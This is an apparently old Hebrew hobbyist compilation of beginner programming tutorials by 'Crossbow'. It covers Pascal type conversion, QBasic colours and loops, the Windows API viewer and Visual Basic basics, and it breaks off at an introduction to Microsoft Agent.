‫אפקטים קוליים או חזותיים ושלל ירקות ייתקבלו בברכה לאי מייל שלי‪ ,‬שהוא‪:‬‬
‫‪baror@matav.net.il‬‬
‫טוב‪ ,‬אז שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪565‬‬
‫שינוי סוגי משתנים בפסקל‬
‫הממממ‪ ...‬חשבתם פעם מה קורה אם אנחנו מקבלים קלט בצורת ארגומנט ורוצים‬
‫להפוך אותו למספר בתוכנית (משהו כמו מחשבון עם פרמטרים)? היום אני הולך‬
‫ללמד אתכם איך הופכים מספרים למחרוזות ולהיפך‪.‬‬

‫סוגי המשתנים ‪ -‬חזרה כללית‬

‫טוב‪ ,‬הנה רוב סוגי המשתנים בפסקל‪:‬‬

‫‪ - File‬משתנה המציין קובץ (מיוצג על ידי אותיות בדרך כלל)‪.‬‬


‫‪ - Array‬משתנה רב אובייקטי (מחזיק מספר משתנים ממוספרים)‪.‬‬
‫‪ - Boolean‬משתנה בוליאני (מחזיר ‪ True‬או ‪ False‬ותואם ‪ 8‬ביט)‪.‬‬
‫‪ - Wordbool‬משתנה בוליאני (מחזיר ‪ True‬או ‪ False‬ותואם ‪ 16‬ביט)‪.‬‬
‫‪ - Bytebool‬משתנה בוליאני (מחזיר ‪ True‬או ‪ False‬ותואם ‪ 8‬ביט)‪.‬‬
‫‪ - Longbool‬משתנה בוליאני (מחזיר ‪ True‬או ‪ False‬ותואם ‪ 32‬ביט)‪.‬‬
‫‪ - Byte‬משתנה מספרי (בין ‪ 0‬למספר ‪.)255‬‬
‫‪ - Word‬משתנה מספרי (בין ‪ 0‬למספר ‪.)65535‬‬
‫‪ - Shortint‬משתנה מספרי (בין ‪ 127‬למספר מינוס ‪.)128‬‬
‫‪ - Integer‬משתנה מספרי (בין ‪ 32767‬למספר מינוס ‪.)32768‬‬
‫‪ - Longint‬משתנה משתנה (בין ‪ 2147483647‬למספר מינוס ‪.)2147483648‬‬

‫טוב‪ ,‬אלה המשתנים‪ .‬עכשיו‪ ,‬נגיד שאני רוצה לקבל ארגומנט (שהוא בעצם משתנה‬
‫מסוג מחרוזת ‪ ,)String -‬אבל רוצה להראות כמה הוא כפול שתיים‪ .‬הנה קוד‬
‫המקור שאמור לעשות את זה‪:‬‬

‫‪;VAR VarX:integer‬‬
‫‪BEGIN‬‬
‫‪;IF ParamCount = 0 THEN Exit‬‬
‫‪;)VarX := ParamStr (1‬‬
‫‪;)WriteLn (VarX, ' * 2 = ', VarX * 2‬‬
‫‪.END‬‬

‫הסברים‬

‫אם תנסו להריץ את התוכנית‪ ,‬תקבלו שגיאה‪ .‬למה?!?!? בגלל שהמשתנה הוא מסוג‬
‫משתנה מספרי (‪ ,)Integer‬אבל הפרמטר הוא מסוג מחרוזת (‪ .)String‬אז‪ ,‬מה‬
‫עושים?!?!? פשוט מאוד‪ ,‬משתמשים בפונקציות!!!‬

‫פונקציות הפיכה‬

‫אז‪ ,‬מה שאנחנו הולכים לעשות כאן זה להציג את קוד המקור של התוכנית מקודם‪,‬‬
‫אבל הפעם אנחנו נבנה אותה כך שלא תיווצר שגיאה‪ .‬הנה הקוד‪:‬‬

‫‪;VAR VarX, Vary:integer‬‬


‫‪BEGIN‬‬
‫‪;IF ParamCount = 0 THEN Exit‬‬

‫‪566‬‬
‫‪;)Val (ParamStr (1), VarX, VarY‬‬
‫‪;IF VarY <> 0 THEN Exit‬‬
‫‪;)WriteLn (VarX, ' * 2 = ', VarX * 2‬‬
‫‪.END‬‬

‫הסברים‬

‫טוב‪ ,‬פה הוספנו עוד משתנה‪ .‬המשתנה הראשון ייצג את הערך המספרי של הפרמטר‪,‬‬
‫והמשתנה השני ייצג את השגיאה שעלולה להיווצר בזמן הפיכת הארגומנט שלנו‬
‫לערך מספרי‪ .‬טוב‪ ,‬שורה אחרי זה מתחילה התוכנית‪ ,‬ואז אנחנו אומרים שאם אין‬
‫פרמטרים אז אנחנו יוצאים מהתוכנית‪ .‬אחרי זה אנחנו משתמשים בפונקצייה חדשה‬
‫שנקראת ‪( Val‬קיצור של ‪ ,)Value‬שבעצם תפקידה הוא להפוך ערכים טקסטואלים‬
‫לערכים מספריים (‪ .)String To Integer‬בפונקצייה זו יש שלושה חלקים‪ :‬הגדרת‬
‫המשתנה הטקסטואלי‪ ,‬הגדרת משתנה שיקבל ערך מספרי מהמשתנה הטקסטואלי‪ ,‬וגם‬
‫הגדרת משתנה מספרי‪ ,‬שתפקידו יהיה לדווח על שגיאות‪ .‬טוב‪ ,‬שורה אחרי זה‬
‫אנחנו אומרים שאם התקבלה ששגיאה (שגיאה מיוצגת במספר ששונה מאפס)‪ ,‬אז מה‬
‫שנעשה הוא לצאת באופן אוטומטי מהתוכנית‪ .‬אחרי זה‪ ,‬אנחנו מוציאים פלט של‬
‫המשתנה המספרי (שמיוצג פה כמשתנה ‪.)VarX‬‬

‫הפוך‬

‫כמו שיש פונקצייה להחלפת ערך טקסטואלי למספרי‪ ,‬כך יש פונקצייה להחלפה בין‬
‫ערך מספרי לטקסטואלי‪ .‬הפונקצייה היא ‪( Str‬קיצור של ‪ ,)String‬ובנויה בדיוק‬
‫כמו פונקציית ‪ ,Val‬רק עם שינוי קטן אחד‪:‬‬

‫‪;)Str (VarX, VarY, VarZ‬‬


‫פה זה הולך ככה‪ VarX :‬יהיה בעצם בעל ערך מספרי‪ ,‬ואותו אנחנו הולכים להמיר‬
‫למשתנה ‪ VarY‬שיהיה משתנה טקסטואלי‪ .‬המשתנה ‪ VarZ‬ידווח על השגיאות‪ ,‬ולכן‬
‫הערך שלו יהיה ערך מספרי‪.‬‬

‫יאללה‪ ,‬גמרנו להיום‬

‫רק רציתי להגיד בסוף‪ ,‬שאני אשמח מאוד להחליף קודים פתוחים בשפת פסקל‪ ,‬לא‬
‫משנה אם זה משחק מפגר \ מחשבון \ תוכנה משעממת (מחק את המיותר)‪ .‬בקיצר‪,‬‬
‫אתם יודעים מה האי מייל שלי‪ ...‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪567‬‬
‫שפת ‪Quick Basic‬‬
‫טוב‪ ,‬אני יודע שהשפה הזאת די מסכנה‪ ,‬אבל מה שבטוח הוא שאם מישהו רוצה‬
‫לעשות תיכנותים באם אס דוס‪ ,‬הרבה יותר קל לתכנת עם ‪ Qbasic‬מאשר לעשות‬
‫קבצי אצווה‪ .‬טוב‪ ,‬אז אם יש לכם ‪ Qbasic‬זה יופי‪ ,‬אם אין לכם תיצרו איתי‬
‫קשר בפורום של האתר או משהו בסגנון‪ ,‬ואז אני אראה לכם מאיפה להוריד‪.‬‬
‫טוב‪ ,‬אם פתחתם את ‪ ,Qbasic‬צריך להיות לכם מסך כחול כזה‪ ,‬מציק לאללה‪...‬‬
‫טוב‪ ,‬אז הפקודות די דומות לשפת ‪ ...Visual Basic‬בואו נתחיל עם משתנים‪.‬‬
‫נגיד שאנחנו אוצים ליצור משתנה חדש שיקראו לו ‪ VarX‬ושיהיה שווה לעשר‪.‬‬
‫אז הנה זה‪:‬‬

‫‪DIM VarX‬‬
‫‪VarX = 10‬‬

‫לא כל כך מסובך‪ ,‬נכון?‬


‫נגיד שאנחנו רוצים שיהיה קלט על המסך שיציג את המשתנה‪ ...‬אז פה‪ ,‬כמו‬
‫בשפת ‪ Visual Basic‬מתקדמת יותר‪ ,‬הפקודה היא ‪ .PRINT‬אז הנה זה‪:‬‬

‫‪DIM VarX‬‬
‫‪VarX = 10‬‬
‫‪PRINT VarX‬‬

‫אם אנחנו רוצים לכתוב טקסט ישיר‪ ,‬שלא יצא מתוך משתנה‪ ,‬כותבים במרכאות‪.‬‬
‫דוגמא‪:‬‬

‫‪"PRINT "I Love Tigers‬‬

‫טוב‪ ,‬עכשיו בואו נעבוד קצת על צבע‪ ...‬נסו לעשות ככה‪:‬‬

‫‪COLOR 2‬‬
‫‪"PRINT "Crossbow‬‬

‫אם שמתם לב הצבע הוא ירוק‪ .‬אם לא אתם עוורי צבעים‪.‬‬


‫הנה הרשימה של הצבעים בשפה הזאת‪:‬‬

‫שחור = ‪0‬‬
‫כחול כהה = ‪1‬‬
‫ירוק כהה = ‪2‬‬
‫טורקיז = ‪3‬‬
‫אדום כהה = ‪4‬‬
‫סגול כהה = ‪5‬‬
‫כתום = ‪6‬‬
‫אפור בהיר = ‪7‬‬
‫אפור כהה = ‪8‬‬
‫כחול בהיר = ‪9‬‬
‫ירוק בהיר = ‪10‬‬
‫תכלת = ‪11‬‬
‫אדום בהיר = ‪12‬‬

‫‪568‬‬
‫בגול בהיר = ‪13‬‬
‫צהוב = ‪14‬‬
‫לבן = ‪15‬‬

‫עכשיו בטח מישהו יגיד‪" :‬איזה רעיון מטומטם!!! הרקע הוא בשחור‪ ,‬אז למה‬
‫שיהיה טקסט שחור בכלל? לא רואים שחור על שחור!" והאמת שהוא צודק‪...‬‬
‫בשביל זה יש גם צבע רקע‪ .‬הצבעים הם אותם צבעים שברשימה‪ .‬כל פעם שמגדירים‬
‫צבע טקסט‪ ,‬אפשר להגדיר גם צבע רקע‪ .‬נסו לעשות ככה‪:‬‬

‫‪COLOR 0, 15‬‬
‫‪"PRINT "Crossbow‬‬

‫עכשיו נעבוד על משהו יותר מסובך‪ ...‬לולאות! יש כמה סוגי לולאות‪ .‬מי שמיכם‬
‫יודע קצת ‪ Cpp‬או ‪ Visual Basic‬או ‪ Vbscript‬או ‪ Java Script‬יודע בטח כמה‪.‬‬
‫אז הלולאה פה היא בדיוק כמו בשפת ‪ ...Visual Basic‬אני מדבר על לולאת פור‪.‬‬
‫למי שלא יודע‪ :‬כל פעם הלולאה חוזרת על עצמה עד שנגמרת הספירה‪ .‬דוגמא‪:‬‬

‫‪FOR i = 0 TO 15‬‬
‫‪PRINT i‬‬
‫‪NEXT‬‬

‫אוקי‪ ,‬קצת הסברים על כל זה‪:‬‬

‫‪FOR‬‬

‫טוב‪ ,‬זה אומר לתוכנית מתי מתחילה הלולאה‬

‫‪i‬‬

‫האמת היא שאפשר לרשום מה שרוצים‪ ,‬העיקר שיהיה אות באנגלית‪.‬‬

‫‪0‬‬

‫מגדיר מתי הלולאה מתחילה‪.‬‬

‫‪TO 15‬‬

‫מגדיר מתי הלולאה תסתיים‪.‬‬

‫‪NEXT‬‬

‫מגדיר מתי הלולאה תסתיים‪.‬‬

‫בין הצהרת פור והצהרת נקסט כותבים את תוכן הלולאה‪.‬‬


‫עכשיו משהו יותר קשה‪ .‬בואו ננסה לשלב קצת בין כל‬
‫מה שלמדנו‪ .‬בואו נעשה תוכנה שתראה לנו מילה מסויימת‬
‫שכל פעם בצבע אחר‪ .‬בארבע שורות‪ .‬נסו לחשוב קצת‪...‬‬
‫סתאאאאאאאאאאאם! הנה התשובה‪:‬‬

‫‪FOR i = 0 TO 15‬‬
‫‪COLOR i‬‬
‫‪"PRINT "Crossbow‬‬

‫‪569‬‬
‫‪NEXT‬‬

‫אני מקווה שהבנתם את הקטע עם הלולאה‪ .‬עכשיו‪ ,‬מישהו‬


‫יכול לשאול "תגיד‪ ,‬חוץ מהצבע‪ ,‬למה אני צריך לעזאזל‬
‫לדעת את זה? הרבה יותר קל לתכנת קבצי אצווה‪ "...‬אז‬
‫התשובה היא שיש בשפת ‪ Qbasic‬דבר אחד בולט שאין עדיין‬
‫בתכנות קבצי אצווה‪ .‬בשפת ‪ Qbasic‬יש טיימר!!! עד היום‪,‬‬
‫אף אחד לא הצליח לבנות טיימר בקובץ אצווה‪ .‬לא לפחות‬
‫מישהו שאני מכיר‪ .‬גם עבדכם הנאמן ניסה‪ ,‬והדבר היחיד‬
‫שהוא הצליח זה שפקודה תקרה בתאריך מסויים‪.‬‬
‫אז עד הפעם הבאה‪ ,‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪570‬‬
‫‪.A.P.I‬‬
‫אי‪.‬פי‪.‬איי זה מסד נתונים ענק שבעצם מכיל את כל פקודות הוינדואוז‪ .‬אז‪ ,‬למה‬
‫זה טוב? אוקיי‪ ,‬נגיד שאנחנו רוצים לבנות תוכנה‪ ,‬שדורשת את הפקד של סוקט‪.‬‬
‫ואני רוצה לשים את זה אצל חבר שלי‪ .‬אבל אין לו את הפקד הזה‪ .‬אז אם נפעיל‬
‫את התוכנה תעלה שגיאה שהפקד חסר‪ .‬אז מה עושים? במקום להשתמש בפקד‪ ,‬נבנה‬
‫אותו‪ .‬ואיך בונים פקד? עם פקודות אי‪.‬פי‪.‬איי! אז לכל מי שיש ויזואל בייסיק‬
‫שיפתח את התיקייה שבה ויזואל בייסיק נמצא וששם יפתח את אי‪.‬פי‪.‬איי‪ .‬דוגמא‪:‬‬

‫‪ = C:\Program Files\Dev Studio\Vb‬המקום שבו ויזואל בייסיק מותקן‪.‬‬


‫‪ = C:\Program Files\Dev Studio\Vb\Winapi\Apiload.exe‬מיקום הקובץ‪.‬‬

‫טוב‪ ,‬מקווה שהבנתם איך לפתוח‪ .‬אוקיי‪ ,‬פתחנו ועולים לנו טבלת בחירה‪ ,‬מתחת‬
‫יש לנו טבלה ריקה‪ ,‬ומתחת יש לנו תיבת טקסט‪ .‬עכשיו‪ ,‬עושים ככה‪ :‬יש לנו את‬
‫כל התפריטים של התוכנה‪ ,‬נכון? אז פותחים קובץ טקסט שנמצא בתיקייה שבה יש‬
‫את אי‪.‬פי‪.‬איי‪ ,‬יעני‪ ,‬אם התיקייה היא מה שכתוב מקודם‪ ,‬למעלה‪ ,‬אז‪:‬‬

‫‪C:\Program Files\Dev Studio\Vb\Winapi\Win32api.txt‬‬

‫כמובן שאתם טוענים קובץ טקסט‪ ,‬לא מסד נתונים!!! טוב‪ ,‬עכשיו הטבלאות היו‬
‫צריכות להתמלא‪ .‬מה שאתם רואים זה כל פקודות הוינדואוז החדש‪ .‬זה הולך לפי‬
‫סדר אותיות‪ ,‬סדר כרונולוגי כזה‪ .‬בקיצר‪ ,‬תחפשו נגיד את הפקודה שמנגנת קול‪:‬‬

‫‪PlaySound‬‬

‫טוב‪ ,‬תלחצו עליה פעמיים‪ .‬תיבת הטקסט התמלאה בבולשיט‪ ...‬תעתיקו את כל מה‬
‫שכתוב בתיבת הטקסט לתוך קוד מקור של פרוייקט חדש‪ ,‬לתוך מודול חדש שיצרצם‪.‬‬
‫עכשיו‪ ,‬נגיד שאנחנו רוצים שכל פעם שנפתח הפורם ינגן סאונד מטומטם‪ .‬אז אני‬
‫חושב שזה ייראה בערך ככה‪:‬‬

‫‪)(Private Sub Form_Load‬‬


‫‪)Call PlaySound ("C:/Windows/Media/Tada.wav", 1, 1‬‬
‫‪End Sub‬‬

‫טוב‪ ,‬אם עשיתם הכל כמו שצריך‪ ,‬כשאתם מריצים את התוכנה ינגן לכם משהו כמו‬
‫גלגל המזל‪ .‬מה שטוב בפונקצייה הספציפית הזאת‪ ,‬זאת העובדה זה שאם הקובץ לא‬
‫קיים‪ ,‬התוכנה לא תיקח את זה כשגיאה‪ ,‬אלא תנגן "ביפ" כזה של שגיאה‪.‬‬
‫טוב‪ ,‬תשחקו קצת עם פונקציות של אי‪.‬פי‪.‬איי‪ .‬לפני שאני מסיים פה‪ ,‬אני רוצה‬
‫להשאיר לכם עוד פונקציות שכדאי לבדוק‪:‬‬

‫‪ = SetCursorPos‬מכוון את מיקום העכבר לפי קורדינטות רוחב ואורך‪.‬‬


‫‪ = GetCursorPos‬אומר לתוכנה מהם קורדינטות הרוחב והאורך של העכבר‪.‬‬
‫‪ = GetComputerName‬אומר לכם את שם המחשב‪.‬‬
‫‪ = GetFileType‬מחזיר לכם את סוג הקובץ‪.‬‬
‫‪ = timeGetTime‬מחזיר לכם את הזמן הנוכחי‪.‬‬
‫‪ = timeGetSystemTime‬מחזיר לכם את הזמן שהמערכת שלכם פועלת‪.‬‬

‫‪571‬‬
‫‪ = SetSystemTime‬מכוון את הזמן שהמערכת פועלת‪.‬‬
‫‪ = SetWindowPos‬מכוון את מיקום החלון גם לפי קורדינטות‪.‬‬
‫‪ = SetTimer‬יצירת טיימר‪.‬‬

‫טוב‪ ,‬בתור התחלה זה מספיק‪.‬‬


‫אני מקווה שנהניתם‪ ,‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪VISUAL BASIC‬‬
‫טוב‪ ,‬הגיע הזמן שכולכם תלמדו קצת תכנות! באמת‪ ,‬לאף אחד לא יזיק ללמוד את‬
‫אחת השפות הכי טובות שקיימות‪ ...‬אני יודע מה כולכם חושבים‪ :‬בסך הכל זאת‬
‫שפת תכנות שמייקוסופט הוציאה!!! ואנחנו יודעים מה כולם חושבים עליהם‪...‬‬
‫אבל אם יש משהו שמייקרוסופט עשתה טוב‪ :‬זה להוציא את ‪ ...Visual Basic‬טוב‪.‬‬
‫אני מניח שאין לכם את ‪ Visual Basic‬על המחשב‪ ...‬מי שרוצה לדעת מאיפה‬
‫משיגים את ‪ Visual Basic‬באינטרנט שייצור איתי קשר בפורום של האתר‪ .‬כמובן‬
‫שלא בפורום של גהנום!!! אני יודע מאיפה להשיג ‪ VB 5.0 CCE‬שזה בעצם שפת‬
‫‪ Visual Basic 5.0‬הלא מלאה‪ ...‬היא כוללת הכל‪ ,‬חוץ מאפשרות של קימפול‪ ,‬אבל‬
‫מי שממש רוצה קימפול אני אקמפל לו אם הוא יישלח לי את הקוד מקור‪ ...‬לא כל‬
‫דבר יקומפל‪ ,‬אלא רק תוכנות טובות שהם לא סתם בשביל להתאמן‪ ...‬אם מישהו‬
‫רוצה לקמפל בעצמו אז שישקיע קצת כסף וייקנה את ‪ Visual Basic 6.0‬החדש‪.‬‬
‫טוב‪ ,‬בואו נתחיל‪ ...‬לשפת ‪ Visual Basic‬יש שלושה מצבים‪ :‬מצב ויזואלי‪ ,‬מצב‬
‫של קוד מקור ומצב של הרצה‪ .‬כשאנחנו נכנסים לתוכנה הוא שואל אותנו איזה‬
‫פרוייקט אנחנו נפתח‪ .‬תלחצו פעמיים על ‪ .Standard Exe‬עכשיו נכנסנו למצב‬
‫הראשון‪ :‬המצב הויזואלי‪ ...‬ככה התוכנית שלנו תראה‪ .‬חוץ מהנקודות השחורות‬
‫על הרקע האפור‪ ...‬חחחח‪ ...‬טוב‪ ,‬בואו נלמד מאפיינים‪ ...‬מאפיינים הם סוג של‬
‫פונקצייה שעוזרת לנו מאוד‪ ...‬טוב‪ ,‬לחצו פעם אחת סתם על השטח האפור של‬
‫התוכנית שלנו‪ .‬עכשיו לחצו לחיצה ימנית על התוכנית‪ ,‬ואז לחצו על האפשרות‬
‫‪ .Properties‬עכשיו צריך להיות חלון שבו המאפיינים‪ ...‬תגררו אותו לצד ימין‬
‫ואז תלחצו פעם אחת על המאפיין ‪ .Backcolor‬תסתכלו מימין‪ ...‬יש כמה אותיות‬
‫ומספרים מוזרים‪ ,‬היועים כשפה ההקסדימלית‪ ,‬ומימין לשפה ההקסדימלית יש חץ‬
‫למטה‪ .‬תלחצו עליו‪ .‬יש שתי כרטיסיות קטנות‪ System :‬או ‪ .Palette‬תלחצו על‬
‫‪ Palette‬ואז על הצבע שאתם רוצים‪ ...‬חחחח‪ ...‬ניקח למשל ירוק‪ ...‬תלחצו על‬
‫ירוק ואז הפלא ופלא! התוכנית הפכה את עצמה לירוקה! טוב‪ ,‬עכשיו שינוי מה‬
‫שכתוב למעלה בחלון‪ .‬תבחרו באפשרות ‪ Caption‬ואז תכתבו שם משהו‪ ...‬תראו מה‬
‫שרשום בחלון למעלה‪ ...‬בסך הכל יש שלושה סוגים של מאפיינים‪ :‬מאפיין צבע‪,‬‬
‫מאפיין טקסט או מאפיין ‪ .True Or False‬תראו‪ ,‬אין לי כח לרשום כל פעם את‬
‫המילים ‪ ,True Or False‬אז מעכשיו ‪ True Or False‬נקרא ‪ ,TOF‬טוף? חחחחח‪...‬‬
‫שכחתי! יש גם מאפיין בחירה! לא משנה‪ ...‬תשחקו קצת עם המאפיינים‪ .‬הראשון‬
‫שישאיר לי מאפיין של בחירה בפורום של האתר יזכה להקדשה בתוכנה הבאה שלי‪.‬‬
‫חחחח‪ ...‬באמת! טוב‪ ,‬עכשיו הזמן ללמוד על פקדים‪ ...‬פקדים הם בעצם כמו‬
‫‪ ,Form‬אבל בקטן‪ ...‬כל הפקדים נכנסים ל ‪ ...Form‬בצד שמאל צריך להיות לכם‬
‫חלון ארוך וצר‪ ...‬ויש עליו אייקונים קטנים‪ ...‬תעמדו עם העכבר על האייקון‬
‫שנראה כמו קקטוס במדבר‪ ...‬הוא יכתוב לכם ‪ .PictureBox‬תלחצו עליו פעם אחת‬
‫ואז תעלו בחזרה עם העכבר על התוכנית‪ ...‬שימו לב שהעכבר עכשיו בצורת צלב‪.‬‬
‫תלחצו בנקודה מסויימת על ה ‪ ,Form‬ותגררו את העכבר כשהוא עדיין לחוץ ישר‬
‫באלכסון לנקודה אחרת‪ ,‬ריבוע כזה יווצר לכם בגרירה‪ ...‬עכשיו עזבו את העכבר‬
‫ותראו מה קרה‪ ...‬יש לנו ריבוע כזה‪ ,‬מלבן חדש בתוכנה!!! אם תלחצו עליו פעם‬
‫אחת ותבדקו את חלון ‪ Properties‬אתם תראו שגם למלבן הזה יש מאפיינים‪ .‬טוב‪,‬‬
‫שחקו קצת עם המאפיינים של זה‪ ...‬שחקו קצת עם עוד פקדים‪ ...‬טוב‪ ,‬אחרי זה‪,‬‬
‫מתחיל הקטע הרציני והיצירתי!!! התכנות!!! לחצו פעמיים מהר על איזה משהו‬
‫שיצרנו‪ ...‬נגיד על ‪ ...PictureBox‬אתם תראו את הקוד מקור של התוכנית‪...‬‬

‫‪572‬‬
‫עכשיו כמובן אין שם כלום‪ ...‬טוב‪ ,‬בואו נתחיל בהסברים‪ Private Sub :‬זאת‬
‫אומרת תכניס פקודה‪ Picture1 ...‬זה השם של התמונת ציור שלנו‪ ...‬אלא אם כן‬
‫שינינו את השם שלה במאפיינים‪ ...‬אחרי זה יש קו תחתון קטן _ ואחרי זה יש‬
‫את סוג המאורע (‪ Event‬באנגלית‪ .)...‬טוב‪ ,‬המאורע שלנו הוא ‪ ,Click‬יעני‬
‫לחיצה אחת על העכבר‪ ...‬מתחת יש שורה ריקה שבה נכניס את הקוד‪ ,‬ומתחת כתוב‬
‫‪ ,End Sub‬יעני סוף פקודה‪ ,‬כדי להגיד לקובץ שהפקודה נגמרה‪ ...‬בואו נעשה‬
‫שכשאנחנו לוחצים על התמונה‪ ,‬היא הופכת לצבע אדום‪ .‬טוב‪ ,‬עכשיו‪ ,‬בין פתיחת‬
‫הפקודה לסוף הפקודה נכתוב ‪ Picture1‬ואז נכתוב נקודה (‪ .).‬עכשיו זה נראה‬
‫כמו ‪ .Picture1‬פלוס העובדה שפתאום עלה לנו חלון שכתובים בו כל מיני דברים‬
‫כמו ‪ .Backcolor‬למי שזוכר‪ Backcolor ,‬זה מאפיין‪ ,‬אז מה הוא עושה פה? מה‬
‫שהוא עושה זה איפיון מחודש‪ .‬נגיד שנכתוב ‪ .Picture1.Backcolor‬יש לנו את‬
‫התמונה (‪ )Picture1‬ויש לנו את המאפיין שמחליף צבע (‪ .)Backcolor‬מה חסר?‬
‫חסר לנו הצבע שאנחנו רוצים‪ .‬אני לא מאמין שמישהו יכתוב צבעים בשפת ההקס‪,‬‬
‫כי זה מסובך ומציק לאללה‪ .‬אז מה עושים? שפת ‪ Visual Basic‬נתברכה בעובדה‬
‫שלכל מאפיין יש כמה צורות להגדיר אותו‪ .‬נגיד צבע‪ .‬צבע אפשר להגדיר בצורות‬
‫‪ vbColor, qbColor, Rgb, Hex‬ויש אפילו עוד‪ ...‬עכשיו‪ ,‬בואו נשתמש בדבר הכי‬
‫קל‪ .vbColor :‬השיטה הזאת קלה מאוד‪ :‬רושמים את הצבע באנגלית‪ ,‬אבל לפני זה‬
‫כותבים את האותיות ‪ .vb‬זה הכל‪ .‬נגיד שנרצה להגיד "צבע כחול"‪ ,‬נכתוב בקוד‬
‫‪ .vbBlue‬ירוק זה ‪ .vbGreen‬לבן זה ‪ .vbOrange‬אבל אנחנו רצינו אדום‪ .‬אז מה‬
‫נעשה? נגדיר את הצבע בתור ‪ .vbRed‬השורה שמלאה שכתבנו צריכה להראות ככה‪:‬‬
‫‪Picture1.Backcolor = vbRed‬‬
‫טוב‪ ,‬עכשיו בואו נריץ את התוכנית‪ .‬תלחצו על המקש ‪ .F5‬עכשיו נכנסנו למצב‬
‫השלישי‪ :‬מצב ההרצה‪ .‬אין מה ללמד על המצב הזה‪ ...‬זה מראה לנו את התוכנה‬
‫עצמה רצה‪ ,‬אבל במצב שהיא עדיין לא מקומפלת‪ .‬תקחו את העכבר ותלחצו במצב‬
‫ההרצה על התמונה‪ .‬מה קרה? אם הכל היה כמו שצריך‪ ,‬התמונה הייתה צריכה‬
‫להפוך לצבע אדום‪ .‬טוב‪ .‬כדי לצאת ממצב ההרצה‪ ,‬פשוט לחצו על ‪ X‬בשורה הכי‬
‫עליונה בחלון הרצה‪ .‬אתם יודעים‪ ,‬כמו שסוגרים כל חלון‪ .‬אם נכנסתם למצב‬
‫הויזואלי תלחצו פעמיים על התמונה‪ .‬עכשיו‪ ,‬נעשה משהו אחר‪ .‬במקום להגדיר‬
‫שינוי מאפיין‪ ,‬נגדיר פונקצייה‪ .‬בואו נעשה שכשנלחץ על התמונה היא תזוז‬
‫למקום מסויים‪ .‬תכתבו ‪ .Picture1.Move 2222, 2222‬המיקום בנוי משני מצבים‪:‬‬
‫המיקום השמאלי של התמונה והמיקום העליון של התמונה‪ .‬זה הגיוני‪ ,‬כי המיקום‬
‫הימני משתנה בהתאם לשמאלי‪ ,‬והמיקום התחתון משתנה בהתאם לעליון‪ .‬עכשיו‬
‫תריצו ותלחצו על התמונה‪ ...‬חחחח‪ ...‬זה חי! זה חי! טוב‪ ,‬עכשיו תצאו עוד‬
‫פעם ממצב ההרצה‪ .‬טוב‪ ,‬עכשיו נלמד על פונקציות חיצוניות‪ .‬בואו נעשה גנרטור‬
‫רנדומלי‪ .‬המקודה של רנדומיזם (אקראיות) היא ‪ .Rnd‬עכשיו ‪,‬בואו נגדיר מספר‬
‫אקראי שיהיה בין אפס למאה‪ .‬נכתוב ‪ .Rnd * 100‬קלטתם? עכשיו משהו יותר קשה‪.‬‬
‫מספר בין שלוש למאה‪ .‬איך עושים? כותבים ‪ Int‬שזה קיצור של ‪ ,Integer‬יעני‬
‫מספר מלא‪ ,‬ואז שמים בסוגריים את הרנדומיזם‪ .‬אם תהיו קצת יצירתיים‪ ,‬תבינו‬
‫שכדי לכתוב מספר בין מאה לשלוש צריך לעשות ככה‪ .)Int((Rnd * 100)+3 :‬פה‬
‫כדאי לעשות ‪ Ctrl + Shift‬שמאליים כדי להבין‪ .‬בקיצר‪ ,‬איך נעשה שאם נלחץ על‬
‫התמונה היא תופיע במקום אקראי על המסך? נעשה ככה‪:‬‬
‫‪)(Private Sub Picture1_Click‬‬
‫‪Picture1.Move (Rnd * Form1.Width), (Rnd * Form1.Height) 'a‬‬
‫‪End Sub‬‬
‫הסברים‪ :‬התמונה תזוז למקום אקראי בין אפס לרוחב של הטופס‪ ,‬ובין אפס לגובה‬
‫של הטופס‪ .‬עוד משהו שרציתי ללמד זה תזכיר בקוד‪ .‬יש כאלה שאוהבים לעשות את‬
‫זה‪ .‬אני ממש לא אבל אולי זה יעזור לכם‪ .‬תכתבו ' (גרש)‪ ,‬ואז מה שבא לכם‪.‬‬
‫אחרי שסיימתם תרוד שורה למטה ותראו שזה בצבע ירוק כהה‪ ...‬כל מה שבצבע הזה‬
‫בקוד הוא תזכיר‪ .‬עכשיו זה בטח נראה לכם מאוד מטומטם‪ ,‬אבל כשיש לכם תוכנה‬
‫רצינית עם ‪ 1000‬שורות או משהו כזה‪ ,‬התזכירים יכולים לעזור למתכנת לארגן‬
‫את הכל בראש‪ .‬טוב‪ ,‬דבר אחרון שאני רוה ללמד אתכם זה ‪ .MsgBox‬תכתבו נגיד‬
‫במאורע לחיצה על התמונה משהו כזה‪ Msgbox "Fuck you" 'crossbow :‬ואז תנסו‬

‫‪573‬‬
‫להריץ‪ .‬אם עשיתם הכל נכון‪ ,‬צריכה לעלות הודעה שיהיה כתוב בה ‪.Fuck You‬‬
‫נסו להתעסק קצת עם ‪ MsgBox‬וגם עם ‪ .InputBox‬הערה חשובה‪ :‬כל מי שבראש שלו‬
‫ללמוד ‪ Visual Basic‬אני מוכן לתת עצות ועזרה בפורום של האתר‪ .‬עוד הערה‬
‫חשובה‪ :‬למי שיש ‪ ,Visual Basic‬שיתעסק עם העזרה של התוכנה‪ .‬זה עזר לי מאוד‬
‫מאוד מאוד‪ ...‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫שימוש באג'נט בויז'ואל ביסיק‬


‫טוב‪ ,‬אני יודע שכולכם חובבי אנימצייה‪ ,‬תלת מימד‪ ,‬אפקטים גרפיקליים‪ ,‬דברים‬
‫שנעשו בפוטושופ וכאלה‪ ,‬אז היום נלמד לשלב בין תיכנות ברמה הנמוכה לבין‬
‫גרפיקה מאוד מאוד מהירה ונוחה‪ .‬טוב‪ ,‬אז בואו נתחיל בהתחלה‪ .‬הכתבה הזאת‬
‫מיועדת בעיקר למתכנתי ויזואל בייסיק שרוצים להכניס חיים לתוכנית שבנו‪ ,‬או‬
‫סתם לחובבי ויזואל בייסיק‪ ,‬אבל מה שכן‪ ,‬חייב להיות לכם ידע מועט בתיכנות‬
‫ויזואל בייסיק‪ .‬טוב‪ ,‬היום נעשה שימוש בכלי מאוד מפגר שמייקרוסופט הוציאה‬
‫שקוראים לו ‪ ,Microsoft Agent 2.0‬או בקיצור אג'נט‪ .‬אז‪ ,‬מה זה? אג'נט זה‬
‫בעצם הדמויות התלת מימדיות שאפשר לראות בתור העוזרים בתוך וורד‪ ,‬למשל‪...‬‬
